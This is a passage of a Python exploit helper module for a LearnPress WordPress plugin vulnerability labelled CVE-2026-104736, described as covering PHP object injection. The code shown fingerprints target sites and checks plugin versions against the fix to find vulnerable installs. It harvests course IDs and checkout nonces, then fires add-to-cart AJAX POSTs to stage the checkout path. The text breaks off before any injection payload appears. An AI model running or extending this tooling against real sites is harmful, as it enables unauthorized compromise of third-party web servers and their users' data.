1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| """CVE-2026-104736 — LearnPress fingerprint and PHP object injection helpers."""
from __future__ import annotations
import json
import re
from typing import Any, Callable
from urllib.parse import urljoin
import requests
CVE_ID = "CVE-2026-104736"
PLUGIN_SLUG = "learnpress"
FIX_VERSION = (4, 4, 11)
LP_AJAX_CHECKOUT = "checkout"
def normalize_site(url: str) -> str:
u = (url or "").strip().rstrip("/")
if not re.match(r"^https?://", u, re.I):
u = "https://" + u
return u
def parse_version(text: str | None) -> tuple[int, int, int] | None:
if not text:
return None
m = re.search(
r"(?:Stable tag|Version)\s*:\s*(\d+)\.(\d+)\.(\d+)",
text,
re.I,
)
if not m:
m = re.search(r"\b(\d+)\.(\d+)\.(\d+)\b", text)
if not m:
return None
return int(m.group(1)), int(m.group(2)), int(m.group(3))
def is_vulnerable_version(ver: tuple[int, int, int] | None) -> bool | None:
if ver is None:
return None
return ver < FIX_VERSION
def looks_like_wordpress(html: str) -> bool:
low = (html or "").lower()
return any(
x in low
for x in (
"wp-content/",
"wp-includes/",
"/wp-json/",
"wp-emoji-release.min.js",
)
)
def detect_learnpress(html: str) -> bool:
if not html:
return False
return bool(
re.search(
r"wp-content/plugins/learnpress/|learn-press|learnpress",
html,
re.I,
)
)
def fetch_plugin_version(session: requests.Session, base: str, timeout: float) -> dict[str, Any]:
out: dict[str, Any] = {"detected": False, "version_raw": None, "source": None}
paths = (
f"/wp-content/plugins/{PLUGIN_SLUG}/readme.txt",
f"/wp-content/plugins/{PLUGIN_SLUG}/learnpress.php",
)
for path in paths:
try:
r = session.get(urljoin(base + "/", path.lstrip("/")), timeout=timeout)
except requests.RequestException:
continue
if r.status_code != 200:
continue
body = r.text or ""
if "learnpress" not in body.lower() and path.endswith(".php"):
continue
ver = parse_version(body)
if ver:
out["detected"] = True
out["version_raw"] = f"{ver[0]}.{ver[1]}.{ver[2]}"
out["source"] = path
out["vulnerable"] = is_vulnerable_version(ver)
return out
return out
def fingerprint_site(session: requests.Session, base: str, timeout: float) -> dict[str, Any]:
base = normalize_site(base)
row: dict[str, Any] = {
"target": base,
"plugin": PLUGIN_SLUG,
"detected": False,
"is_wordpress": None,
"version_raw": None,
"vulnerable": None,
}
try:
r = session.get(base + "/", timeout=timeout, allow_redirects=True)
final = r.url.rstrip("/")
html = r.text or ""
row["is_wordpress"] = looks_like_wordpress(html)
if detect_learnpress(html):
row["detected"] = True
row["lp_html_hint"] = True
except requests.RequestException as e:
row["error"] = str(e)
return row
meta = fetch_plugin_version(session, final, timeout)
if meta.get("detected"):
row.update(meta)
elif row.get("lp_html_hint"):
row["detected"] = True
row["note"] = "LearnPress assets on homepage; version file not exposed"
return row
def find_checkout_nonce(html: str) -> str | None:
if not html:
return None
patterns = (
r'name="learn-press-checkout-nonce"\s+value="([^"]+)"',
r'"learn-press-checkout-nonce"\s*:\s*"([^"]+)"',
r"learn-press-checkout-nonce['\"]?\s*,\s*['\"]([^'\"]+)",
)
for pat in patterns:
m = re.search(pat, html, re.I)
if m:
return m.group(1)
return None
def find_checkout_url(html: str, base: str) -> str:
m = re.search(r'href="([^"]*checkout[^"]*)"', html or "", re.I)
if m:
return urljoin(base + "/", m.group(1))
for path in ("/checkout/", "/lp-checkout/", "/checkout"):
return urljoin(base + "/", path.lstrip("/"))
return base + "/"
def find_courses_list_url(html: str, base: str) -> str:
best: str | None = None
for m in re.finditer(r'href="([^"]+)"', html or "", re.I):
href = m.group(1)
low = href.lower()
if "checkout" in low or "cart" in low:
continue
if re.search(r"/(courses|cursos|lp-courses)/?$", low):
best = href
break
if re.search(r"/(courses|cursos)/page/\d+", low):
best = href
if best:
return urljoin(base + "/", best.lstrip("/"))
for path in ("courses/", "cursos/", "lp-courses/"):
return urljoin(base + "/", path)
return urljoin(base + "/", "courses/")
def merge_course_ids(*groups: list[int], limit: int = 20) -> list[int]:
out: list[int] = []
seen: set[int] = set()
for group in groups:
for cid in group:
if cid in seen or cid < 1:
continue
seen.add(cid)
out.append(cid)
if len(out) >= limit:
return out
return out
def parse_course_ids_from_json(data: Any) -> list[int]:
ids: list[int] = []
if isinstance(data, list):
for item in data:
if isinstance(item, dict) and "id" in item:
try:
ids.append(int(item["id"]))
except (TypeError, ValueError):
continue
elif isinstance(data, dict):
if "id" in data:
try:
ids.append(int(data["id"]))
except (TypeError, ValueError):
pass
for key in ("courses", "data", "items"):
if key in data:
ids.extend(parse_course_ids_from_json(data[key]))
return ids
def parse_courses_from_json(data: Any) -> list[dict[str, Any]]:
courses: list[dict[str, Any]] = []
if not isinstance(data, list):
return courses
for item in data:
if not isinstance(item, dict) or "id" not in item:
continue
try:
cid = int(item["id"])
except (TypeError, ValueError):
continue
link = item.get("link") or item.get("permalink")
if isinstance(link, dict):
link = link.get("rendered")
courses.append({"id": cid, "url": link if isinstance(link, str) else None})
return courses
def fetch_course_ids_api(
session: requests.Session,
base: str,
timeout: float,
limit: int = 15,
) -> dict[str, Any]:
"""Discover lp_course IDs via public WordPress / LearnPress REST (no auth)."""
out: dict[str, Any] = {"ids": [], "courses": [], "source": None}
endpoints = (
("wp-json/wp/v2/lp_course", {"per_page": str(limit), "status": "publish"}),
("wp-json/learnpress/v1/courses", {"per_page": str(limit)}),
)
headers = {"Accept": "application/json"}
for path, params in endpoints:
url = urljoin(base + "/", path)
try:
r = session.get(url, params=params, headers=headers, timeout=timeout)
except requests.RequestException:
continue
if r.status_code != 200:
continue
text = (r.text or "").strip()
if not text.startswith(("[", "{")):
continue
try:
data = json.loads(text)
except json.JSONDecodeError:
continue
courses = parse_courses_from_json(data)
ids = [c["id"] for c in courses]
if ids:
out["ids"] = ids[:limit]
out["courses"] = courses[:limit]
out["source"] = path
return out
return out
def scrape_course_permalink_paths(html: str, limit: int = 10) -> list[str]:
if not html:
return []
paths: list[str] = []
seen: set[str] = set()
for m in re.finditer(r'href="([^"]+)"', html, re.I):
href = m.group(1)
low = href.lower()
if not any(x in low for x in ("/courses/", "/cursos/", "/lp_course/", "post_type=lp_course")):
continue
if any(x in low for x in ("checkout", "cart", "profile", "account", "login")):
continue
if href in seen:
continue
seen.add(href)
paths.append(href)
if len(paths) >= limit:
break
return paths
def scrape_course_id_from_single_page(html: str) -> int | None:
if not html:
return None
patterns = (
r'postid-(\d+)',
r'class="[^"]*\bpost-(\d+)\b',
r'"post_id"\s*:\s*(\d+)',
r'data-course-id=["\'](\d+)["\']',
r'"course_id"\s*:\s*(\d+)',
r'type="hidden"\s+name="course_id"\s+value="(\d+)"',
)
for pat in patterns:
m = re.search(pat, html, re.I)
if m:
return int(m.group(1))
return None
def fetch_course_ids_from_pages(
session: requests.Session,
page_urls: list[str],
timeout: float,
limit: int = 8,
) -> list[int]:
ids: list[int] = []
seen: set[int] = set()
for raw in page_urls:
if len(ids) >= limit:
break
url = raw if raw.startswith("http") else None
if not url:
continue
try:
r = session.get(url, timeout=timeout, allow_redirects=True)
except requests.RequestException:
continue
if r.status_code != 200:
continue
cid = scrape_course_id_from_single_page(r.text or "")
if cid and cid not in seen:
seen.add(cid)
ids.append(cid)
return ids
def scrape_course_ids(html: str, limit: int = 8) -> list[int]:
if not html:
return []
seen: set[int] = set()
ids: list[int] = []
patterns = (
r'data-course-id=["\'](\d+)["\']',
r'data-id=["\'](\d+)["\']',
r'course_id=(\d+)',
r'course_id["\']\s*:\s*(\d+)',
r'postid-(\d+)',
r'\bpost-(\d+)\b.*lp_course',
r'"id"\s*:\s*(\d+)\s*,\s*"type"\s*:\s*"lp_course"',
r'"type"\s*:\s*"lp_course"\s*,\s*"id"\s*:\s*(\d+)',
r'add-to-cart[^>]+data-id=["\'](\d+)["\']',
)
for pat in patterns:
for m in re.finditer(pat, html, re.I | re.S):
cid = int(m.group(1))
if cid in seen or cid < 1:
continue
seen.add(cid)
ids.append(cid)
if len(ids) >= limit:
return ids
return ids
def discover_course_ids(
session: requests.Session,
base: str,
timeout: float,
html_chunks: list[str],
permalink_paths: list[str] | None = None,
limit: int = 20,
) -> dict[str, Any]:
"""REST API first, then HTML scrape, then single course page fetches."""
meta: dict[str, Any] = {"ids": [], "sources": []}
api = fetch_course_ids_api(session, base, timeout, limit=limit)
html_ids: list[int] = []
for chunk in html_chunks:
html_ids.extend(scrape_course_ids(chunk, limit=limit))
page_urls: list[str] = []
for chunk in html_chunks:
for p in scrape_course_permalink_paths(chunk, limit=6):
page_urls.append(urljoin(base + "/", p.lstrip("/")) if not p.startswith("http") else p)
if permalink_paths:
for p in permalink_paths:
page_urls.append(urljoin(base + "/", p.lstrip("/")) if not p.startswith("http") else p)
page_ids = fetch_course_ids_from_pages(session, page_urls, timeout, limit=8)
ids = merge_course_ids(api.get("ids") or [], html_ids, page_ids, limit=limit)
meta["ids"] = ids
meta["courses"] = api.get("courses") or []
if api.get("source"):
meta["sources"].append(api["source"])
if html_ids:
meta["sources"].append("html_scrape")
if page_ids:
meta["sources"].append("course_pages")
meta["api_count"] = len(api.get("ids") or [])
return meta
def build_add_to_cart_posts(course_id: int, *, extended: bool = False) -> list[dict[str, str]]:
cid = str(course_id)
primary = [
{"lp-ajax": "add-to-cart", "course_id": cid},
{"lp-ajax": "purchase-course", "course_id": cid},
]
if not extended:
return primary
return primary + [
{"lp-ajax": "add-to-cart", "id": cid},
{"lp-ajax": "purchase-course", "id": cid},
{"lp-ajax": "add-course-to-cart", "course_id": cid},
{"lp-ajax": "add-item-to-cart", "item_id": cid},
]
def add_course_to_cart(
session: requests.Session,
post_url: str,
course_id: int,
timeout: float,
*,
extended_variants: bool = False,
on_post: Callable[[int, str, dict[str, str], int, int], None] | None = None,
) -> dict[str, Any]:
last: dict[str, Any] = {"ok": False, "course_id": course_id}
variants = build_add_to_cart_posts(course_id, extended=extended_variants)
total = len(variants)
for idx, data in enumerate(variants, start=1):
if on_post:
on_post(course_id, post_url, data, idx, total)
stage = post_lp_ajax(session, post_url, data, timeout)
last = {**stage, "course_id": course_id, "lp_ajax": data["lp-ajax"]}
if not stage.get("ok"):
continue
j = extract_lp_json(stage.get("body_preview") or "")
if j and j.get("result") == "success":
last["cart_ok"] = True
last["cart_json"] = j
return last
if stage.get("has_lp_ajax_markers") and stage.get("status") == 200:
body = (stage.get("body_preview") or "").lower()
if "success" in body and "fail" not in body:
last["cart_ok"] = True
return last
last.setdefault("cart_ok", False)
return last
def try_fill_cart(
session: requests.Session,
post_urls: list[str],
course_ids: list[int],
timeout: float,
max_course_tries: int = 2,
max_urls_per_course: int = 2,
max_http_posts: int = 10,
extended_variants: bool = False,
course_urls: dict[int, str] | None = None,
on_try: Callable[[int, str, dict[str, str], int, int], None] | None = None,
) -> dict[str, Any]:
"""Try add-to-cart with a hard cap on HTTP POST count (fast default)."""
tried: list[dict[str, Any]] = []
if not course_ids:
return {"cart_ok": False, "reason": "no_course_ids", "tried": tried}
home = post_urls[0] if post_urls else "/"
course_urls = course_urls or {}
http_posts = 0
no_marker_streak = 0
for cid in course_ids[:max_course_tries]:
urls_for_course: list[str] = []
if cid in course_urls and course_urls[cid]:
urls_for_course.append(course_urls[cid])
if home not in urls_for_course:
urls_for_course.append(home)
urls_for_course = urls_for_course[:max_urls_per_course]
for post_url in urls_for_course:
if http_posts >= max_http_posts:
return {
"cart_ok": False,
"reason": "cart_post_limit",
"course_ids_tried": course_ids[:max_course_tries],
"http_posts": http_posts,
"tried": tried,
}
def _on_post(
c: int,
url: str,
data: dict[str, str],
step: int,
total: int,
) -> None:
nonlocal http_posts
http_posts += 1
if on_try:
on_try(c, url, data, step, total)
res = add_course_to_cart(
session,
post_url,
cid,
timeout,
extended_variants=extended_variants,
|